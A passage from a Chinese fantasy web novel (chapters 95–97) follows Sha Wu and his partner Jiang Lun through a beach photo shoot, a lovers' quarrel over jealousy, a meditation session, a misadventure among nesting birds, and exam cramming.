目前只盖了度假酒店和员工宿舍的住房条件，已经有很多人来询问房价和咨询就业环境、营商环境。 大白鲨把一个敢随便乱游差点溺水的小孩儿丢到岸上，治疗的白光收敛，还给他们一个活蹦乱跳的娃。 小孩儿嗷嗷叫，被心大的父母扯得泳裤都快掉了，还要一个劲往大白鲨身上贴：“我要摸摸大鱼鱼的牙牙！大牙牙！” 大白鲨黑黢黢的圆眼睛里写满惊恐，甚至忘记变成人形，直接学着海豹蛄蛹着往深水区去。 知道鱼翅和鱼肝油是好东西，现在连牙齿都有人觊觎了吗？ 能不能尊重一下他四米多的身长？ 大白鲨还不够凶吗？ 结束了半天工作的沙伍买了八个球的海豹冰淇淋，回到宿舍所属那边的海滩，找了个小少爷躺平：“真的是，能不能尊重一下大白鲨的尊严？” 姜纶躺在沙滩椅上，还在处理一些农场的工作：“不是说带陶桃玩？” “别提了。陶桃被四姐抓去拍儿童泳衣了。”他本来以为今天是家庭团建，没想到全在干活，连小朋友都要打工，太苦了。 祁大厨带着校霸和沙贰夫妻俩，摆了个卖水果的摊位。 连猫都已经要出来打工了吗？ 也不知道这一天能赚多少钱？ 等等，他好像没工资？！ 他还没震惊完，陶桃的工作已经结束，跑过来拉沙伍的手：“小叔叔，桃桃也想吃冰淇淋。” 沙伍立刻精神抖擞地站起来，把大侄女扛到肩膀上：“走，小叔叔带你去买！” 陶桃看着他手上高高的冰淇淋：“桃桃也想吃这么高的。” “可以。” 沙伍果然又买了个八个球的冰淇淋，用异能帮忙托着，防着摔掉，让小孩儿摆出举着的动作拍照。 然后小孩儿磨磨唧唧吃掉了最上面的球，剩下的七个球被大嘴爸爸和大嘴妈妈吃掉了。 陶桃看着消失的冰淇淋，再看看爸爸妈妈，眉头微微皱起，很认真的思考了一番，得出结论，哇地一声哭了出来。 沙壹和老婆哈哈大笑。 沙伍立刻放下小孩儿，看着小侄女去追打无良爹妈。 沙肆的通讯弹了出来：“小伍，过来调整一下布景。” “马上。” 沙肆他们拍摄泳装，位置在宿舍海滩，没什么人，拍摄没什么干扰。 沙伍过去，听摄影师要求，跟着制造幻境，调整了三分钟，把周围的植物调整成南方岛屿的模样。 摄影师其实也只是有个模糊的概念，没想到沙伍一下就给弄出了一个以假乱真的布景：“这也太神奇了！” 他知道维持这样的幻境需要消耗能量，也不敢多恭维，赶紧抓紧拍摄。 他们紧锣密鼓拍了两天，从一早上日出，拍到半夜星空闪烁。 沙伍看着都叹气：“当摄影和模特儿都不容易。” 他光是看着就觉得自己晒脱了两层皮。 姜纶因为沙肆是沙伍的姐姐，对她多一份关注，但也只是多一点点，并没有多少同理心：“他们已经是普通人中的高收入群体了。” 尤其是沙肆现在小有名气，合作的都是一些不错的品牌。 像这样集中拍摄两天的收入，抵得上普通工薪阶层两三个月的了。 当然，模特儿工作不稳定，并不是每天都有工作。 沙伍惊讶：“四姐现在收入很高了吗？”他也不用姜纶回答，趁着他们拍摄间隙去找沙肆直接问。 沙肆给了他一个肯定的答复：“嗯。我这样拍两天，大概能有个七八千。这次品牌给钱大方。” 沙伍鼓掌：“四姐好厉害~” “托你的福。”沙肆感觉这一两年的转变跟做梦一样，“我以前拍一天也就两三百，接不到活，一个月收入有时候三千块都不到。等我再赚一点，就可以买房了。对了，你们这里新城什么时候开始卖房子？我问了三哥，他负责的好像不是这边？” 沙伍指了指北面：“他在北部沿海。四姐，你不跟摄影团队一起回去吗？” “不了。我在青龙城多待两天，陪陪沙妈妈，顺便去附近大学的服装设计专业看看。” “哦，我认识人，找人带你进去。”沙伍把自己的联系人小组给她看，“都是一些做手工的。” “你也做手工吗？”沙肆看着一群花花绿绿的头像好奇。 “嗯。我学了雕刻。过年的时候我不是做了很多花灯？”这学期他请了雕刻老师指导，正在系统性学习。 “哦。可惜是一次性的。”沙肆觉得沙伍做的花灯比外面卖的好看多了。 “你喜欢什么样的？我给你做时效更长的。” 姜纶见沙伍和沙肆两个人头挨着头说话，对他喊了一声：“小鲨鱼，过来！” 沙伍抬头看到他站在阳台上，挥了挥手：“就来！” 这么远的距离，沙肆看不清姜纶的表情，只感觉到一股莫名其妙的刺挠，对沙伍说道：“一会儿我把图片发给你？你先去姜纶那儿吧。” 她这次是过来出差，品牌方订了酒店。 拍摄地点本来预定的是度假酒店的海滩，谁知道到了之后发现这么一个刚开业的小众海滩，人比螃蟹还多。 要不是撞见在当安全员的沙伍，她也不知道这里就是沙伍的新宿舍。 至于宿舍为什么大得像座宫殿？ 经历过瑞云实验室的山顶别墅之后，她已经见怪不怪了。 回到酒店，品牌方的负责人就等在大堂。 四十多岁的中年男人看到沙肆非常客气地过来招呼：“能不能麻烦沙小姐把邀请函代为转交给沙伍先生？这次拍摄能够这么顺利，效果这么好，多亏了沙伍先生的鼎力相助。希望沙伍先生能够参加一会儿的晚宴，给我们一个机会感谢他。” 沙肆当然知道这位是谁，通俗来讲就是她临时老板的大老板。 别说她一个小模特儿，就是行业顶尖，大老板也不会亲自出面这么客气地说话。 沙肆并没有惊讶他的到来，但装出了一副受宠若惊的样子：“您客气了。并不是什么大不了的事情，您的心意我会转达给他，只是晚宴恐怕是来不了了。您知道的，他的空闲时间很少。” 强撑出来的礼貌绅士有一瞬间的僵硬：“确实是，是我唐突了。之前在龙丘见过沙伍先生，本来以为还能叙叙旧。” 双方都挂着客气的态度，十分勉强地交谈了几句才分开。 沙肆在回到房间的一刹那，立马呲了呲牙：“啥玩意儿，切~” 话是这么说，她还是发了大老板的信息给沙伍。 沙伍很快回了个问号，然后打通讯给她：“这个人怎么了？” 沙肆说了刚才的事情：“他说在龙丘见过你，还想跟你叙旧，邀请你晚上参加晚宴。” “啊？我都不认识他，叙什么旧？可能是过年的时候见过吧。那会儿去龙丘的人多。等会儿我问问梁伯伯。”沙伍的背景在书房，工作台前摆满了各种制作链路的材料和工具，“想好要什么样的花灯了吗？要不要小夜灯？还是要别的什么？给你看我现在做的东西。” 沙肆看得眼花缭乱：“哇——这么多都是你做的？那是你说的黄喉貂吗？我的天，雕得也太像了吧？刚才乍一看，我还以为是真的呢。旁边的是什么花？是不是你雕的？真花啊。都怪你雕工太好了，我都分不清真假了。” 沙伍在她一声又一声的夸赞中迷失自我，晕陶陶的仿佛喝了假酒。 没出现在镜头里的姜纶眼睛变成了竖瞳，心里面酸水咕咕冒泡，憋着气看他们能聊多长时间。 然后他一等就等了一个多小时，等得眼睛重新恢复正常。 沙伍结束通讯后，回过头就看到书房里只剩下一段金色的尾巴。 金龙粗壮的身体勉勉强强塞进加宽的门框。 沙伍瞅了瞅不知道蜿蜒到哪里去的金龙，变成鲨貂，直接照着尾巴咬了一口。 咬得太轻，尾巴只是小幅动了动。 “吱？” 鲨貂沿着姜纶的脊背一路往前跑。 黄喉貂的速度非常快，一眨眼就趴在龙头上倒挂下来，和金龙眼对眼，拿自己毛绒绒的脑袋去蹭他：“怎么了？” 金龙的胡须扬了扬，没吱声。 “有事说事。你再这样我不哄你了啊。”黄喉貂从龙脑袋上爬到地上，站直了和金龙对峙。 金龙张嘴就把他一口咬住，模样十分吓人。 黄喉貂待在金龙嘴里，蹬了蹬腿：“干嘛干嘛？” 金龙又把他放到地上，恶狠狠威胁：“你才不哄我。我刚才都生气了，你都不哄我。” 原来是觉得自己被忽视了。 鲨貂的大尾巴甩来甩去：“你生气什么？我跟我姐说说话怎么又惹到你了？” 姜纶一听他的语气，顿时就不敢再作。 他立马变回人形，想要把鲨貂抱住，被他一爪子拍开，只能学着沙伍的样子，用一根手指去戳戳胸口。 鲨貂一口咬住他的手指头，丢开之后快速跑开。 小动物异常灵活，两三个跳跃就不见了踪影。 “去哪儿？” “去打猎！”最后一个字落地的时候，距离已经很远了。 姜纶抹了一把脸。 完了，搞砸了。 最近小鲨鱼对他越来越纵容，他有点得意忘形了。 看小鲨鱼今天被四姐哄得这么高兴，他应该多哄哄小鲨鱼的。 他看了看沙伍的定位，发现他在厨房。 现在跟过去，小鲨鱼会不会更生气？ 脑子里犹豫，身体一点不犹豫地直接下楼。 沙伍正趴在餐桌上拿一个樱桃核，直接用异能勾链路。 霍神在厨房里做甜品。 清爽的果香比任何一种水果的气味都要浓郁，连姜纶都为之侧目：“霍姐什么时候来的？” “下午就来了。我在做水果塔，你要来一个吗？” “好。” 五月份的樱桃正当季。 比起上个月早熟的樱桃，这个季节的樱桃成熟度更好。 尤其是经过霍神精心挑选过的，制作成甜品，搭配其它丰富的食材，那种美味度，一口下去简直在口腔里炸出烟花。 沙伍吃着都觉得心情好了很多。 刚才还空荡荡的厨房里，转瞬间就挤满了人。 连睡眼惺忪的风阳羽都走了进来，端正坐着，吃了一口。 晚上活跃的夜鹭更不用说了，吃得白色饰羽起飞。 沙伍趁机把校霸往他们面前一摆：“来，付饭钱。” 夜鹭对着校霸仔细研究：“咪咪真的是九级？”这不就是学校里的普通咪吗？ “妈妈和纳瓦尔都认识。” 校霸的鸳鸯眼看着夜鹭，声音比甜品还甜：“喵~” 夜鹭尝试了一下，横跨一步移开，让出位置给风阳羽：“你试试。” 风阳羽手上出现一条红色的丝带，往校霸身上缠绕过去。 丝带被弹开，消散在空气中，留下让整个厨房里人都感到舒适的生命气息。 “不行，异能排斥。” 沙伍皱眉：“怎么会呢？我可以给校霸治疗啊。”他示范了一下，治疗非常正常。 一步三跌的鸭老师摇摇晃晃飞过来：“我试试。” 这一次，柔和的治疗异能并没有受到排斥，但是：“不合理。校霸体内的情况就是一个正常的一级。”但是校霸是两位九级盖章确认的九级。 夜鹭歪头看着校霸：“也就是说，九级的异能会被排斥。九级以下的可以。应该算是一种自我保护机制？” 校霸只是歪头wink：“喵呜？” 猫猫什么都不知道啊。 院长就把这个任务交给了沙伍：“那你就负责治疗校霸。治好了给你算一千学分。” “一千？！！！”沙伍被姜纶带着不太在意学分，但一千学分是一个正常大学生可以获得的？ “有什么好大惊小怪的。一个九级，难道还不值几个学分？要是一千个学分能换一个九级，血赚好嘛。”夜鹭吃完水果塔，在霍神面前站定，郑重，“下次做甜品，一定记得给我留一份，谢谢。” 霍神回以同样郑重的态度：“不用谢。” 说完，她把额外留出来的一份递给沙伍，“小伍，这是你要的。”用的普通食材，可以给普通人吃。 沙伍谢过之后，拿着保鲜盒就走了。 姜纶迟疑了一下，才跟上去。 厨房里的人面面相觑。 平时两个人都黏糊在一起，现在话都不说一句，出门还一前一后的。 “怎么了？” “吵架了？” “这有什么好说的。肯定是小少爷的错。” 经常恋爱的阿二表示：“就小少爷那副样子，换我早分手八百回了。” 阿大吐槽：“算了吧。哪次不是你被甩？” 梁管家赶人：“好了，该干嘛干嘛去，晚点夜宵。”《 》 95-100 第96章 暖烘烘 沙伍拿着甜品去酒店找沙肆。 姜纶越跟，离得越远，酒店的人根本就没察觉还有个人在外面。 沙伍衣着随意。 酒店人员看到他，赶紧通知了酒店经理过来亲自接待。 沙肆很快就从光鲜亮丽的宴会里出来，身旁跟着品牌方大老板，一副很殷勤的模样。 “您好，沙伍先生。去年过年的时候在龙丘见过您，没想到今天能够在这里跟您再见到。要不进会场坐坐？” 沙伍只是对他点了一下头，微笑拒绝：“不了。我来找一下我姐，不耽误她工作吧？” “不耽误。这只是工作结束后的放松场合，不是什么工作。沙肆小姐的工作完成得很好。”大老板恭维着，见沙肆和沙伍都没有留他的意思，只能撑着笑脸离开，“那不打扰你们了。” 他内心暗骂，底下的人怎么没一个靠谱的。 沙肆、沙伍，这么明显的姐弟名字，竟然没有一个上报的。 这位可是龙丘的主人之一。 要是能够和沙伍搭上关系，那他们家族未来几百年的发展都不用愁。 天知道他为了一个能够过年去龙丘的名额，付出了多少代价。这还是因为他在血缘上属于家族嫡支，但这也改变不了家族中真正掌权的是高阶异能战士。 从来都是力量决定地位，可是谁规定这力量一定要来自于己身呢？ 能够为自己所用的力量，就是自己的力量。 自己能够借用的力量，也是自己的力量。 如果他能够和沙伍这位龙丘的小少爷的未来伴侣搭上线，那……考虑到姜家小少爷没有异能，年纪又小，绝对是龙丘姜家主人中最容易接近的一位。 有传言说小少爷是有异能的，只是没有切实的证据。 不管怎么说，讨好沙伍，肯定比直接向姜纶示好来的简单。 他得好好想想，不能招来他们的反感。 沙肆提前离席，立刻回房换了舒服的宽松衣裤，跟着沙伍一起去了沙壹他们住的高层套房：“终于活过来了。那礼服就不是人穿的。走走走，吃好吃的去！” 姜纶已经和沙壹他们聊一会儿了。 沙壹根本就没看出姜纶和沙伍两个有什么不对劲，看到沙伍还说了一句：“我说你们怎么兵分两路呢。小肆提前走，大老板会不会生气？” 姜纶接过沙伍手上的保鲜盒：“小鲨鱼能够跟他见一面，已经很给面子了。” 沙壹一家三口是难得周末来一次青龙城度假。 他大概知道沙肆的品牌方大老板来头很大，姜纶的来头肯定也不小，下意识以为有钱人都是一个圈子，没想到听姜纶的意思，根本就不把那么大的老板放在眼里。 他一时间也不知道说什么。 沙壹的老婆邵雯笑着看向姜纶和沙伍：“总是听姜纶说小鲨鱼小鲨鱼的，还以为小伍的觉醒体只有这么点大。”她比划了一个二十厘米左右的长度，“没想到小伍的觉醒体那~么大！也太厉害了吧？小伍是不是在学校里也是超级厉害的异能战士？” 沙伍顿时就抬高下巴：“那肯定的。我无敌！” 姜纶想吐槽小鲨鱼体重偏轻不长肉，看看他这幅得意的小模样，话到嘴边又咽了下去。 沙壹作为大哥，站起来说道：“我去叫他们都过来。” 很快，沙贰夫妻和沙叁都到了客厅。 沙贰说道：“桃桃睡了？先把桃桃的留出来。” 邵雯挑了两个：“今天玩累了。给她留一块最小的，明天吃就行。” 沙叁有些别扭：“我一个大男人，吃这么花里胡哨的水果塔……” 沙肆抬脚就踹：“你不吃我吃。” “哎哎哎！你一个模特儿，现在这个点吃甜食是可以的吗？”沙叁顿时就跳起来，抢了一块水果塔就躲角落里开炫，一口下去，整个人都快哭了，“唔唔唔！好好吃！怎么这么好吃！” 孤儿院长大的孩子，没一个会不珍惜食物。 “有没有多的？我给沙妈妈带回去。” 邵雯指了指保鲜盒：“一个桃桃的，一个沙妈妈的。” 沙伍赶紧道：“不用。沙妈妈那里我会送过去的。四姐，你这么吃真的没问题吗？” “没。我接下来几天没安排工作。吃进去的东西不会马上变成肉。”沙肆无所畏惧，“这么好吃的东西，吃完感觉已经没法吃别的食物了。” 霍神的甜食确实无敌。 两人从酒店出来，没有踩飞板，直接就并肩走在沙滩上。 “小鲨鱼，我错了。”姜纶深刻反省自己，“我不该乱生气。” 沙伍其实挺愿意哄哄小少爷，但这种突如其来的剧烈情绪变化还是算了。 他想着姜纶之前有些失控的污染，比起刚才的闹别扭根本算不上什么。 是又有人给姜纶下药了？ 应该没有。 妈妈说的姜纶的升级到现在还没完成吗？ 姜纶的意识海过于浩瀚，他双修也没法看清楚其中的改变。 不行，这是他的姜小龙，不能有任何问题。 “我们去生蚝岛。” 姜纶听着他没什么起伏的声音，吃不准他是不是还在生气，内心愈发忐忑，跟梁管家发了个消息报备，带着沙伍很快就到了生蚝岛。 青龙城已经有了初夏的影子，生蚝岛上才刚春暖花开。 原本植株低矮颜色暗沉的植物，猛得蹿高了许多，颜色更像是调高了饱和度一样鲜艳。 哪怕是在晚上只有微光的庭院里，植物们依旧欣欣向荣。 白龙只是扫了一眼院子，随即飞到石头山上挂着。 金龙自然挂到他身边。 白龙一言不发，直接拉着金龙一起进入冥想。 璀璨的星空笼罩狂暴的黑色长河。 沙伍在冥想中的意识体，不能像姜纶这样，觉醒体是什么样，意识体还是什么样。 小鲨鱼身形单薄，不能说透明，确切的说是完全由一团紧凑的雾气构成。 他必须紧紧依靠着金龙，才能在狂风巨浪中维持住自己的意识。 无论是小鲨鱼引导金龙的意识，还是金龙保护小鲨鱼的意识，都很不容易。 双修其实并没有他们对外说的那样容易。 小鲨鱼像往常那样，引导着金龙沿着星河来回游了两圈。 宽阔如大海的星河渐渐平静。 星河上的星空也变得更加璀璨。 明明只是意识体，小鲨鱼却感觉自己做了一个深呼吸的动作，然后散开自己由雾气形成的身体，让自己的意识完全融入到星河中。 刚才一直把主动权交给小鲨鱼的金龙像是从长梦中惊醒，茫然四顾。 轻柔的暖流包裹住他的身体。 水面轻轻晃动。 金龙发出一声喟叹，闭上眼睛。 水面伴随着他的闭眼，跟着平静下来。 姜纶是在床上醒过来的。 生蚝岛上的小卧室，小小的只够他和沙伍两个人的人形睡觉的床。 窗帘没拉，窗户也没关。 外面的风吹进来，带着点凉意。 该在窗边挂个风铃，他想。 他可以去海边捡点漂亮的贝壳。 浅浅的呼吸像是小动物毛绒绒又软软的耳朵，一下一下地轻轻触碰他的脖颈。 银色的半长的头发水银一样披散，留出沙伍精致的侧脸轮廓。 有小鸟飞到窗棂上，探头探脑往里面看。 然后又来了另外一只小鸟。 哦，这只小鸟大多了。 两只鸟看着有点眼熟。 “夜老师？风叔？”姜纶刚想坐起来，触及到手掌下光滑的皮肤，立刻凶神恶煞地赶人，“走开。我起床。” “啧，带着我学生逃课还这么凶。”夜鹭骂骂咧咧，声音很小，带着大乌鸦飞走。 姜纶动作很轻，没有吵醒沙伍，看自己离开床铺后，沙伍并没有像往常那样变出一个金龙布偶来抱着，担心地检查了一下他的身体，又小心沟通了一下他的意识，确定他只是睡着了，才放心去洗漱。 他换完衣服，关上房门，厨房里风阳羽正在做饭。 夜鹭监工就差站到锅子里。 风阳羽看着刚做好的一锅菜，还没装盘就被夜鹭一口吞下，额角青筋直跳：“你吃一两口得了，别太过分！” 夜鹭自知理亏，一只脚后撤步，另一只脚还站在原地，摆出一副知道错了退一步，但真·一步，并且下次还照旧的样子。 风阳羽气得眼睛都红了：“你想吃不会自己做？！” 夜鹭张开翅膀：“我没手。” “你变个人样不就有手了？！” 夜鹭把往后撇的脚又收了回来，站得抬头挺胸：“我要吃现成的。” 风阳羽泄气：“能不能不要这么理直气壮？” 姜纶走过来说道：“小堂叔，我要吃现成的。” 风阳羽乍一听他叫自己小堂叔，整个人都愣了一下，随即放弃：“行行行，你们都去坐着，等我给你们做菜。小伍还不起来？” “等他自然醒吧。他昨天晚上太累了。”姜纶头一次睡得这么好，看什么都美好，想起沙伍睡得软软的样子，也跟着往餐桌上一趴。 他手长脚长，趴在桌上就是好大一只。 风阳羽看着就嫌弃，想到姜纶刚才说的话，老脸一红，觉得自己做叔叔的该说点什么，但又不好意思说，最后还是埋头多做了几个菜。 风阳羽不常做饭，但九级的能力让他对各种食材之间的配比十分敏锐，和姜纶一样，做出来的菜不可能难吃。 想要将食材的营养尽可能激发，同时保留最好的风味，其中涉及到的有复杂的计算，更有异能的运用。 像祁大厨天天在家做饭，其实也是一种修炼。 风阳羽这种生命系和火系专精，简直就是天生的厨师。 原本睡得很沉的沙伍，梦游一样飘到餐桌前趴好。 刚才还趴着的姜纶一下子就精神了：“我带小鲨鱼去洗脸刷牙。” 餐桌上，夜鹭已经给自己叼来了方便站立的栖杆。 风阳羽看了看夜鹭，还是给分了餐。 夜鹭看着摆在自己面前的半桌子菜：“至于嘛。” “至于。”风阳羽给自己的分量和普通人差不多。 沙伍吃完饭就清醒了一大半，眼睛亮晶晶地看着风阳羽：“叔！你是我亲叔！你做饭怎么这么好吃！” 风阳羽把他靠过来的脑袋轻轻推开：“滚蛋。你又不是没吃过田书南做的菜，还跟我来这一套。” 太阳神鸟表示自己才不吃这一套。 “那不一样。”沙伍吃着机器人送过来的高山草莓，刚吃了两个草莓，眼皮又不受控制地耷拉了下来，“吃多了。我去眯个午觉。” 说着，他也不去卧室，直接变成小白龙，在壁炉前的地毯上一趴，四只爪子都向后撇着。 风阳羽看到小白龙的姿势，下意识看了一眼夜鹭。 夜鹭的喙上穿了一串草莓。 风阳羽无语：“这么吃会更好吃吗？” 夜鹭一仰脖子：“会。”他看了一眼给壁炉生火的姜纶，“走了，特训去。让一个二级给你一个九级做精神支撑，真有出息。” 姜纶试图挣扎：“小鲨鱼一个人……” “他一个人待着，比你待在他身边要安全得多。” 夜鹭和大乌鸦把姜纶给抓走了。 小白龙抬了抬眼皮，感觉全身一点力气都没有，很快就睡了过去。 似乎并没有睡多久，醒过来的时候天还亮着，壁炉里的火也没灭。 肚子特别饿。 “饿死了，有什么吃的吗？” “有的。”管家机器人和家政机器人瞬间忙碌起来。 新鲜采摘的水果和先前烤好的饼干，率先出现在他面前。 随后是厨房机器在管家机器人的操作下，快速端上来一大碗腊肉面。 “咦？还以为会是海鲜面。” 管家机器人一板一眼地回答：“食品储藏室里没有海鲜，只有一些干货，泡发需要时间。” “哦。” 管家机器人准备的食物完美符合一个二级异能战士的能量需求。 沙伍吃完感觉整个人都热乎起来了，不过没有中午吃风阳羽做的那顿饭感觉舒适。 那种整个人泡在温水里，每个毛孔都舒展开来，仿佛从外到里都清洗了一遍的感觉，完全没法比。 沙伍很快就去礁石区撬生蚝。 撬了一个，打开尝尝，眉头皱了皱。 再撬一个，吃掉：“没冬天的好吃。” 冬天的生蚝肉明显要更肥，有一股鲜甜，甚至有一种矛盾的脆爽。 这一点，别的海域的生蚝都没有。 起码沙伍没吃到过。 虽说冬季的时候，他吃生蚝都有些吃腻了，但隔了一阵没吃，还是有点想的。 水产养殖学院大二学生沙某叹气：“天气一转暖，口味巅峰期就过了。”他不由自主眺望北冰洋的方向，“不知道北冰洋的会不会好吃。” 想去！ 院长和大乌鸦都是坏鸟，带姜纶去玩，不带他！ 他放弃了礁石区，沿着生蚝岛的边边慢慢探索。 可能是附近的海浪太激烈，岛上没有像样的沙滩，更加没有滩涂，只有一些贝类的碎壳组成了一条类似沙滩的窄窄的平地，走在上面唰唰响，就是扎脚。 离开礁石区后，就是高高耸立的山崖，仿佛一块被从上往下切开的大面包。 悬崖笔直，岩石的缝隙里长着一些顽强的植物，竟然还有不少鸟在这么窄小的地方筑巢。 春暖花开的季节，鸟群的繁殖季早就已经开始了。 这会儿，它们的雏鸟破壳，端坐在鸟窝里，等着亲鸟带着猎物飞回来，就一个个伸长了脖子啾啾啾喳喳喳地叫。 把巢建造在开阔坡地上的，是另外一种体型更大的鸟。 就是这种鸟，之前把他撵得到处跑。 现在亲鸟都飞走了，只留下一只只长相潦草的雏鸟。 漫山遍野的鸟巢中，突然多了一个。 除了紧挨着的雏鸟，没有别的鸟多看沙伍一眼。 沙伍就安安心心照着隔壁雏鸟的样子给自己补充细节，瞧着瞧着，他就跑到人家窝里去了。 雏鸟当然不干，一秒不到就切入到战斗模式，满地冰刺从地上升起，要将沙伍扎成冰糖葫芦。 这种鸟的等级大部分在四级、五级，也有六级，甚至是七级的个体，但得是成鸟。 雏鸟虽然掌握了一丁点异能攻击方式，显然想要殴打沙伍还是不能够的。 他轻松消解了冰刺，大咧咧霸占了雏鸟的巢。 雏鸟发现自己打不过，识时务者为俊杰，只能去沙伍的窝里站着。 沙伍突然觉得不对。 他为什么放着自己干干净净的鸟窝不待，抢一个窝外面全是鸟屎的脏窝？！ 想跟他换家？ 沙伍把雏鸟又给打了一顿，看它挺可怜的一个猕猴桃，最后还真的去找了材料，清理干净周围的地面，做了个是原先两倍大，还能防风保温的鸟窝。 亲鸟回来的时候，就发现自己家大了，孩子变成了两个。 它们小小的脑袋显然不能够思考复杂的问题，闻着味道对，就开始投喂。 沙伍看着雏鸟把嘴巴伸进亲鸟的脖子里吃东西，眼睛都瞪大了。 对于育雏的成年鸟来说，又争又抢的雏鸟才是好鸟，不争不抢的弱小崽子，很快就会被淘汰。 沙伍不要吃，它们就不喂。 捕猎消耗了它们大量的精力，温暖防风的巢给了它们片刻的休息。 被亲鸟护在身下的沙伍感觉到一股很神奇的温暖。 水系并且是冰系分支的变异鸟，它们的身体原来非常暖和。 雏鸟暗搓搓往沙伍头上叨了一口。 沙伍怎么可能会中招？立刻反叨了回去。 雏鸟立刻就老实了，窝在亲鸟另外一个翅膀下面，和沙伍离得远远的。 原本它明明可以待在亲鸟的两边翅膀下面的。 对啊，它明明是独生子。 算了，兄弟跟我长一样，闻着气味也一样，那就是我兄弟。 嗯，下一顿吃饱了，把兄弟叨死。 离家乱走的小鲨鱼最后是怎么被找到的呢？ 姜纶靠着自己和沙伍之间双修多了之后产生了心有灵犀，加上自己的生物驱赶BUFF，留下没跑的，并且还主动找他贴贴的乱糟糟的雏鸟，就是自家小鲨鱼。 “找到了。”他把像个猕猴桃一样的男朋友抱在臂弯里。 阳光已经快消失了。 风阳羽的脾气开始变差：“找到就找到了，回去睡觉。” 他们回到房子里的时候，夜鹭已经在院子里放了很多鱼和虾。 猎人小屋那边的家政机器人，以及一台备用的家政机器人，都在疯狂工作。 仓库里姜纶更换下来，或者干脆多准备的各种厨房机器，直接摆放在院子里，全都在努力工作。 夜鹭看向风阳羽的眼睛里充满了期待。 风阳羽身上的袍袖都鼓了起来，像是具象化的生气，随时会爆炸的样子。 无奈夜鹭根本不怕：“呱！快点！” 姜纶催促：“快点吃完，快点睡觉。” 快点睡觉这个词语对风阳羽还是有点吸引力的。 海量的食物对他来说根本就不是问题，主要是他根本懒得把这么多食材统统做完。 他用心做的只有给沙伍的：“小伍还小，东西不能乱吃。” 乱糟糟的猕猴桃站在椅子上，脑袋只超过一点点桌面，乖乖仰头：“谢谢小叔叔~” “嗯，乖~”风阳羽摸了摸新款猕猴桃的脑袋，“吃吧。” 三个九级的食物都是一样的，不算精致，量也不大，但真的好吃。 沙伍还是变成人形吃的饭，吃完想起来：“家里只有两个卧室。” 风阳羽表示：“没关系，我自己盖一个就好。” 没有配偶不用育雏的鸟，睡哪儿都行。 盖房子的任务最后落在姜纶头上。 他看着进一步扩大的房子唉声叹气，难道他就不能拥有一个独属于他和小鲨鱼的小房子吗？ 回到客厅，夜鹭正在给猕猴桃上课。 猕猴桃思考的时间长一点，就要被夜鹭丢熊果打，就跟纪录片里大灾变的老师向学生丢粉笔头似的。 “我真的不知道自己睡了一个多礼拜！”老天爷，马上就是期末了，他是不是成绩会很难看？ 他不会要补考吧？ 天啊，那是什么可怕的东西！ “你以前学习进度还可以，怎么这个学期没盯着你，你的进度就差这么多？你真想靠着那一千学分毕业？！” 猕猴桃眨了眨黑豆豆眼：“不行吗？” “不行吗？”夜鹭学着他的语气说了一遍，抬起翅膀就啪啪拍打他的脑袋，把猕猴桃拍扁，“你啥都没学会，以后出去碰到变异生物说‘嗨，看，我有一千学分’？！你看它们会不会落荒而逃？” 猕猴桃想说，他要是有能耐拿到那一千学分，治好了一名九级大佬，那必然也是超厉害的。 算了，跟假夜鹭说不清楚。 夜鹭冷笑，一翅膀扇在靠过来的姜纶身上：“滚！不听课的学生出去罚站，不许扰乱课堂秩序！” 第97章 宠物展 沙伍返校，来不及感慨今夕何夕，马上就陷入了吃饭都要算时间的补课中。 青龙学院的课程本来就紧张，他这个学期又没赶进度，缺了两周的课再回去课堂，上课都跟听天书似的。 唯二没落下的，一门是链路课，一门是影视艺术修养。 链路课老师休完产假回来了，课程回到了正常的进度。 不像某风姓代课老师，觉得这么简单的内容，一个学期学完都算是进度慢。 姜纶干脆给沙伍申请了校外自学，请了老师多对一授课。 沙伍每天从睁眼学到闭眼，连通勤时间都省了，每天的路线是从卧室到书房，去餐厅吃饭已经算是出远门。 班级里同学们不放心来看他，发现他别的都好，就是学得整个人已经麻了。 班长留下礼物，松了一口气：“你没事就好，还以为你生病了呢。” 沙伍鼻子一酸：“我还不如生病了呢。” 为了防止他分心，连手环都给他没收了，给他重新买了个限制非常大的学习专用手环。 大学以前，他一直没觉得学习有什么难的。 学校教的知识，他上课的时候认真听讲就行，还能一心二用做作业，所以才能空余出来时间去打工。 相较之下，打工赚钱可比读书难多了。 他的主要精力也放在打工上面。 即便如此，他也勉强考上了共工大学。 虽然后来转到了青龙学院，经历高强度补课后，他和班级里的同学之间也没有在学习上跟不上的情况。 第一次学哭。 蓝鳍金枪鱼问他：“专业课你来上吗？战术实战考试是小组形式，要是来上课可以开始组队了。” “不了。”沙伍情绪上头，红着眼眶抽抽噎噎，“实战不用。反正也不规定小组人数，我一个人单挑你们一群。” 班级里好多同学的表情都裂了。 “你是怎么用最可怜的表情，放出最狠的话的？” “太嚣张了！” “揍他！” 沙伍一转头就从书房往楼下跳，其他同学也跟着各显神通下楼，对他围追堵截。 风阳羽走进书房，伸手一挥。 书房的一角像是被撕开了一片幕布。 椅子上，沙伍一脸老实巴交地坐着。 “上课。” “好的，老师。”沙伍的眼眶还是红红的，真情实感地抹了抹眼角。 为什么？ 代课老师不去代别的课，专门过来教他？ 风老师上课进度又快，教的东西又难，对教科书视若无睹，他课后还得重新捋一遍教科书。 还好别的老师不这样。 沙伍学得昏天黑地，姜纶比他还惨。 他得工作，得跟各种势力明争暗斗，还有自己的规划和实验要做，完了每天还被夜鹭提溜到不知道哪儿去训练。 沙伍都不知道姜纶每天晚上什么时候回来的，只知道姜纶的意识海越来越平静了。 他自己的意识海也有了一些变化。 一直到这学期最后一门课考完，沙伍才算是有时间认真冥想。 表面的九大星系变得更加清晰，周围的小星星并没有增多，但都亮了不少；相互之间的联系变得更加紧密，能够感受到一道有规律的气流来回穿梭。 想到姜纶那一片仿佛大海一样无边无际的星河，感觉通往九级道阻且长。 深处的星空依旧遥远，看起来倒是不再那么若隐若现。 “喵？”校霸蹲坐在沙伍面前，看他睁眼，抬起一只爪子放在他盘起来的小腿上。 “等等再出去玩。”沙伍给校霸治疗了半小时，感觉校霸体内的情况好了很多，把随身带的乌卢刀给校霸看，“你能接受纳瓦尔的异能，喜不喜欢这个？” 乌卢刀到他手上之后越戴越小，现在像个小小的挂坠。他平时都当手链戴。 校霸要是喜欢的话，可以给他当项圈。 校霸嗅了嗅，抬起爪子推开，呼噜噜地偏头去蹭沙伍的手背。 “好啦，我们出去玩。”沙伍拿出一辆宠物推车，把校霸放进去，“我们去逛街。” 校霸目前的身份是异能宠物，出行会受到一定的限制。 如果不放宠物推车的话，就要用特制的牵引绳。 沙伍觉得还是用宠物推车比较好。 